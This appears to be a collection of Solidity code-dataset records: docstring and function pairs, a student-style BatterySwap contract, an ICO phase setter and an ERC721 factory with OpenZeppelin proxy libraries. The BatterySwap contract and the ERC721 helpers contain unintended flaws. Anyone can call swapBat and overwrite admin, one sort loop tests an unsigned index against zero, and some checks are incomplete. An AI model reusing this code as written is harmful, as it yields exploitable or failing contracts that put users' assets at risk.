_clearApproval(_objectId); _ownedObjectsCount[_sender] -= 1; _ownedObjectsCount[_to] += 1; _objectOwner[_objectId] = _to; emit TransferLog(_sender, _to, _objectId); } /** * @dev Internal function to transfer ownership of a given object ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param _from current owner of the object * @param _to address to receive the ownership of the given object ID * @param _objectId uint256 ID of the object to be transferred */ function _transferFrom(address _from, address _to, uint256 _objectId) internal { require(objectOwnerOf(_objectId) == _from, "ERC721: transfer of object that is not own"); require(_to != address(0), "ERC721: transfer to the zero address"); _clearApproval(_objectId); _ownedObjectsCount[_from] -= 1; _ownedObjectsCount[_to] += 1; _objectOwner[_objectId] = _to; emit TransferLog(_from, _to, _objectId); } /** * @dev Returns whether the given spender can transfer a given object ID. * @param _spender address of the spender to query * @param _objectId uint256 ID of the object to be transferred * @return bool whether the msg.sender is approved for the given object ID, * is an operator of the owner, or is the owner of the object */ function _isApprovedOrOwner(address _spender, uint256 _objectId) internal view returns (bool) { require(_objectExists(_objectId), "ERC721: operator query for nonexistent object"); address owner = objectOwnerOf(_objectId); return (_spender == owner || getApproved(_objectId) == _spender); } /** * @dev Private function to confirm exist of a agiven object ID. * @param _objectId uint256 ID of the object */ function _objectExists(uint256 _objectId) internal view returns (bool) { if (objectOwnerOf(_objectId) != address(0)) { return true; } } /** * @dev Private function to clear current approval of a given object ID. * @param _objectId uint256 ID of the object to be transferred */ function _clearApproval(uint256 _objectId) private { if (_objectApprovals[_objectId] != address(0)) { _objectApprovals[_objectId] = address(0); } } }
Private function to confirm exist of a agiven object ID. _objectId uint256 ID of the object/
function _objectExists(uint256 _objectId) internal view returns (bool) { if (objectOwnerOf(_objectId) != address(0)) { return true; } }
13,000,858
pragma solidity >=0.4.22 <0.6.0; contract BatterySwap { struct Battery { uint id; uint capacity; uint year; uint maxCycles; uint cycles; uint soc; uint soh; uint price; uint rate; address owner; uint swapID; } struct EVOwner { string name; string addres; address account; uint idx;//id of battery owned by ev owner uint bal; bool bat; uint reqStatus; //1 for requested,4 for not req, 2 for ACCEPTED, 3 for REJECTED bool exist; uint256 balance; address csowner; } struct CSOwner { string name; string addres; address account; uint[] idx; //array of batteries owned by the station uint[] ids; //array of pending requests uint[] uncharged;//array of uncharged batteries uint r;//number of uncharged batteries uint i; //number of batteries owned uint j; //number of pending requests bool exist; } bool public adminDone=false; address public admin; uint stationCount=0; mapping(address=>EVOwner) public EV; mapping(address=>CSOwner) public CS; mapping(uint=>Battery) public battery; mapping(uint=>address) public station; function batExists(address x) public view returns (bool) { return EV[x].bat; } function userExists(address x) public view returns (bool) { return EV[x].exist; } function CSExists(address x) public view returns (bool) { return CS[x].exist; } //register EV Owner function makeadmin(string memory nname,string memory aaddress) public returns (bool) { if(userExists(msg.sender))return false; admin=msg.sender; EV[admin]=EVOwner({ name: nname, addres: aaddress, account: admin, idx:0, bal:0, bat:false, reqStatus:4, exist: true, balance:0, csowner: msg.sender }); return true; } //register company owner function makeCS(string memory nname,string memory aaddress) public returns (bool) { //if(CSExists(msg.sender))return false; admin=msg.sender; adminDone=true; CS[admin]=CSOwner({ name: nname, addres: aaddress, account: admin, idx:new uint[](100), ids:new uint[](100), uncharged:new uint[](100), r:0, i:0, j:0, exist: true }); station[stationCount]=admin; stationCount++; return true; } //register a battery function registerBattery(uint idd,uint yyear,uint ccap) public returns (bool) { admin=msg.sender; if(admin==EV[admin].account) { EV[admin].bat=true; EV[admin].idx=idd; } else if(admin==CS[admin].account) { uint k=CS[admin].i; CS[admin].idx[k]=idd; CS[admin].i++; } battery[idd]=Battery({ id:idd, capacity:ccap, year:yyear, maxCycles:540, cycles:0, soc:100, soh:100, price:0, rate:0, owner:admin, swapID:0 }); return true; } //charge a battery function chargeBattery(uint idd,uint csoc,uint cr,address add) public returns (bool) { if(battery[idd].cycles>=battery[idd].maxCycles || battery[idd].owner!=add) { battery[idd].soh=0; return false; } battery[idd].soc=100; battery[idd].rate=cr; battery[idd].cycles++; uint k=battery[idd].cycles; if(k<300) { battery[idd].soh=(1000-battery[idd].cycles)/10; } else if(k>=300 && k<420) { battery[idd].soh=(720-k)/6; } else if(k>=420 && k<540) { battery[idd].soh=(1020-k)/12; } return true; } //discharge a battery function dischargeBattery(uint idd,address add) public returns (bool) { if(battery[idd].cycles>=battery[idd].maxCycles || battery[idd].id!=EV[add].idx || battery[idd].owner!=add) return false; battery[idd].soc=0; return true; } //delete a battery function deleteBattery(uint idd,address add) public returns (bool) { admin=msg.sender; if(battery[idd].id!=idd || battery[idd].owner!=add) return false; delete battery[idd]; if(admin==EV[admin].account) { EV[admin].bat=false; EV[admin].idx=0; } return true; } //returns array of station addresses function statList() public returns (address [] memory temp) { address[] memory tempAd; temp=new address[](stationCount); for(uint i=0;i<stationCount;i++) { temp[i]=station[i]; } return temp; } //returns station stationCount function statCount() public returns (uint) { return stationCount; } //sends swapping request function sendRequest(address s) public returns (bool) { admin=msg.sender; uint y=CS[s].j; //number of pending requests CS[s].ids[y]=EV[admin].idx; CS[s].j++; EV[admin].reqStatus=1; return true; } //returns requested status(returns -1 for NOTREQUESTED,1 for REQUESTED,2 for ACCEPTED,3 for REJECTED) function sendStatus(address s) public returns (uint) { return EV[s].reqStatus; } //returns array of battery ids owned function batList(address s) public returns (uint [] memory temp) { uint[] memory tempAd; uint k=CS[s].i; temp=new uint[](k); for(uint i=0;i<k;i++) { temp[i]=CS[s].idx[i]; } return temp; } //returns number of batteries owned function batCount(address s) public returns (uint) { return CS[s].i; } function reqList(address s) public returns (uint [] memory temp) { //address s=msg.sender; uint k=CS[s].j; temp=new uint[](k); for(uint i=0;i<k;i++) { temp[i]=CS[s].ids[i]; } return temp; } function reqCount(address s) public returns (uint){ return CS[s].j; } function swapBat(uint stat,uint veh) public returns (bool){ address statad=battery[stat].owner; address vehad=battery[veh].owner; battery[stat].owner=vehad; battery[stat].swapID=veh; battery[veh].owner=statad; battery[veh].swapID=stat; EV[vehad].reqStatus=2; EV[vehad].idx=stat; EV[vehad].balance=500+20*(battery[stat].soh-battery[veh].soh); battery[veh].price=500+20*(battery[stat].soh-battery[veh].soh); EV[vehad].csowner=statad; return true; } function reject(uint id1) public returns (bool){ address adx=battery[id1].owner; EV[adx].reqStatus=3; return true; } function changeStatus() public returns (bool){ address evowner=msg.sender; EV[msg.sender].reqStatus=4; return true; } function swapping() public returns (bool) { address stat=msg.sender; uint a=CS[stat].i; uint b=CS[stat].j;//number of pending requests uint[] memory avail; uint[] memory pend; uint[] memory disc; avail=new uint[](a); pend=new uint[](b); disc=new uint[](a); uint p=0;//number of batteries available for swapping uint q=0;//number of batteries which are not available for swapping for(uint i=0;i<a;i++){ if(battery[CS[stat].idx[i]].soc!=0 && battery[CS[stat].idx[i]].soh>=40){ avail[p]=CS[stat].idx[i]; p++; } else{ disc[q]=CS[stat].idx[i]; q++; } } for(uint i=0;i<b;i++){ pend[i]=CS[stat].ids[i]; } uint i;uint j;uint key;uint cur_id; //sorting avail array for(i=1;i<p;i++){ j=i-1; cur_id=avail[i]; key=battery[avail[i]].soh; while(j>=0 && battery[avail[j]].soh<key){ avail[j+1]=avail[j]; j=j-1; } avail[j+1]=cur_id; } //sorting pend array for(i=1;i<b;i++){ j=i-1; cur_id=pend[i]; key=battery[pend[i]].soh; while(j>=0 && battery[pend[j]].soh<key){ pend[j+1]=pend[j]; j=j-1; } pend[j+1]=cur_id; } i=0; j=0; while(i<p && j<b){ uint psoh;uint asoh; psoh=battery[pend[j]].soh; asoh=battery[avail[i]].soh; if(psoh>=80){ if(asoh>=79){ //swap swapBat(avail[i],pend[j]); uint x=avail[i]; avail[i]=pend[j]; pend[j]=x; i++; j++; continue; } else{ //rejected reject(pend[j]); j++; continue; } } else if(psoh>=60){ if(asoh>=80){ i++; continue; } else if(asoh>=59){ //swap swapBat(avail[i],pend[j]); uint x=avail[i]; avail[i]=pend[j]; pend[j]=x; i++; j++; continue; } else{ //rejected reject(pend[j]); j++; continue; } } else if(psoh>=40){ if(asoh>=60){ i++; continue; } else if(asoh>=40){ //swap swapBat(avail[i],pend[j]); uint x=avail[i]; avail[i]=pend[j]; pend[j]=x; j++; i++; continue; } else{ //rejected reject(pend[j]); j++; } } else{ //rejected reject(pend[j]); j++; } } while(j<b){ reject(pend[j]); j++; } for(i=0;i<p;i++){ CS[stat].idx[i]=avail[i]; } for(i=p;i<a;i++){ CS[stat].idx[i]=disc[i-p]; } CS[stat].j=0; return true; } }
returns station stationCount
function statCount() public returns (uint) { return stationCount; }
968,336
./partial_match/3/0xCDDd3bfFCa16Bf8A891718ADB6A9c051871B674C/sources/SECICO.sol
Starts a new ICO there must be no ICO running, or if there is any that needs to be ended first, (endICO)./
function setICO() onlyOwner external returns(bool) { require(state==2,"ICO is ACTIVE:END First"); phaseInfo.push(PhaseInfo({ allocToken: 0, totalDeposit: 0, tokenPerWEI: 0 })); phaseNow++; state = 1; emit NewICO(block.timestamp,phaseNow); return true; }
5,098,200
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; import "./ERC721Burnable.sol"; contract ERC721BurnableFactory { event Deployed(address indexed creator, address indexed newContract); address public implementation; constructor() { implementation = address(new ERC721Burnable()); } function createERC721Burnable( string memory name_, string memory symbol_, string memory baseTokenURI_, address royaltyReceiver_, uint256 royaltyBps_, uint256 initialSupply_, address initialSupplyReceiver_, address contractOwner_ ) external returns (address) { ERC1967Proxy proxy = new ERC1967Proxy( implementation, abi.encodeWithSelector( ERC721Burnable(address(0)).initialize.selector, name_, symbol_, baseTokenURI_, royaltyReceiver_, royaltyBps_, initialSupply_, initialSupplyReceiver_ ) ); ERC721Burnable(address(proxy)).transferOwnership(contractOwner_); emit Deployed(msg.sender, address(proxy)); return address(proxy); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../Proxy.sol"; import "./ERC1967Upgrade.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. */ contract ERC1967Proxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "./ERC2981Upgradeable.sol"; contract ERC721Burnable is Initializable, ERC721Upgradeable, ERC721BurnableUpgradeable, ERC2981Upgradeable, OwnableUpgradeable, UUPSUpgradeable { string private _baseTokenURI; /// @custom:oz-upgrades-unsafe-allow constructor constructor() initializer {} // solhint-disable-line no-empty-blocks function initialize( string memory name_, string memory symbol_, string memory baseTokenURI_, address royaltyReceiver_, uint256 royaltyBps_, uint256 initialSupply_, address initialSupplyReceiver_ ) public initializer { __ERC721_init(name_, symbol_); __ERC721Burnable_init(); __Ownable_init(); __UUPSUpgradeable_init(); // Initialize the contents if (bytes(baseTokenURI_).length > 0) { _baseTokenURI = baseTokenURI_; } _setRoyaltyInfo(royaltyReceiver_, royaltyBps_); for (uint256 i = 0; i < initialSupply_; i++) { // mint the initial supply to the initial owner starting with token ID 1 _safeMint(initialSupplyReceiver_, i + 1); } } function _baseURI() internal view override returns (string memory) { return _baseTokenURI; } function contractURI() public view returns (string memory) { string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, "collection")) : ""; } function safeMint(address to, uint256 tokenId) external onlyOwner { _safeMint(to, tokenId); } /** * @dev Updates royalty info. * @param receiver_ - the address of who should be sent the royalty payment * @param royaltyBps_ - the share of the sale price owed as royalty to the receiver, expressed as BPS (1/10,000) */ function setRoyaltyInfo(address receiver_, uint256 royaltyBps_) external onlyOwner { _setRoyaltyInfo(receiver_, royaltyBps_); } /** * @dev It's sufficient to restrict upgrades to the upgrader role. */ // solhint-disable-next-line no-empty-blocks function _authorizeUpgrade(address newImplementation) internal override onlyOwner {} /** * @dev Receives and executes a batch of function calls on this contract. * This was copied from `utils/MulticallUpgradeable.sol` with the exception of renaming the `_functionDelegateCall` * helper, since `UUPSUpgradeable` also defines a private `_functionDelegateCall`. */ function multicall(bytes[] calldata data) external returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i = 0; i < data.length; i++) { results[i] = _multicallFunctionDelegateCall(address(this), data[i]); } return results; } /** * @dev `_functionDelegateCall` implementation is the same for both Multicall * and ERC1967Upgrade, so we provide it here without differentiation. */ function _multicallFunctionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } // The following functions are overrides required by Solidity. function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721Upgradeable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721Upgradeable, ERC2981Upgradeable) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeacon.sol"; import "../../utils/Address.sol"; import "../../utils/StorageSlot.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing 